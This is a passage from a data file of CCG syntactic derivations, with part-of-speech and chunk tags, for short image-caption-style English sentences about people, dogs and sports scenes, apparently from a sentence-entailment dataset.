t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'swing', 'swing', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(695,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'staging', 'stage', 'VBG', 'I-VP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'playing', 'playing', 'NN', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(696,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'stage', 'stage', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(697,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'making', 'make', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jump', 'jump', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'bike', 'bike', 'NN', 'I-NP', 'O'),
t(n, 'race', 'race', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(698,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'making', 'make', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jump', 'jump', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'bike', 'bike', 'NN', 'I-NP', 'O'),
t(n, 'race', 'race', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(699,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Rugby', 'Rugby', 'NNP', 'I-NP', 'O'),
t(n, 'players', 'player', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'tackling', 'tackle', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'each', 'each', 'DT', 'I-NP', 'O'),
t(n, 'other', 'other', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(700,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'tackled', 'tackle', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'opponent', 'opponent', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(701,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'fallen', 'fallen', 'JJ', 'I-NP', 'O'),
t(n, 'leaves', 'leaf', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(702,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'fallen', 'fallen', 'JJ', 'I-NP', 'O'),
t(n, 'leaves', 'leaf', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(703,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'clothing', 'clothing', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'B-NP', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'light', 'light', 'JJ', 'I-ADJP', 'O')),
lx((s:dcl\np)\(s:dcl\np), s:pss\np,
t(s:pss\np, 'colored', 'color', 'VBN', 'I-VP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'B-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'arms', 'arm', 'NNS', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'extended', 'extend', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'outward', 'outward', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(704,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'light', 'light', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'colored', 'color', 'VBN', 'I-NP', 'O'),
t(n, 'clothing', 'clothing', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'arms', 'arm', 'NNS', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'extended', 'extend', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'outward', 'outward', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(705,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'playground', 'playground', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(706,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'outdoor', 'outdoor', 'JJ', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(707,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'motocross', 'motocross', 'NN', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'naked', 'naked', 'JJ', 'I-ADJP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(708,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np:nb,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(comma, ',', ',', ',', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))))))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'dirt', 'dirt', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'watching', 'watch', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(709,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'))),
fa(n,
t(n/n, 'motocross', 'motocross', 'NN', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(710,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np:nb,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(comma, ',', ',', ',', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O'))))))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'dirt', 'dirt', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'watching', 'watch', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(711,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trick', 'trick', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'performed', 'perform', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rollerblader', 'rollerblader', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ramp', 'ramp', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(712,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rollerblader', 'rollerblader', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'performing', 'perform', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trick', 'trick', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ramp', 'ramp', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(713,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'players', 'player', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'still', 'still', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(714,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'game', 'game', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(715,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(716,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(717,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'yard', 'yard', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(718,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'yard', 'yard', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(719,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
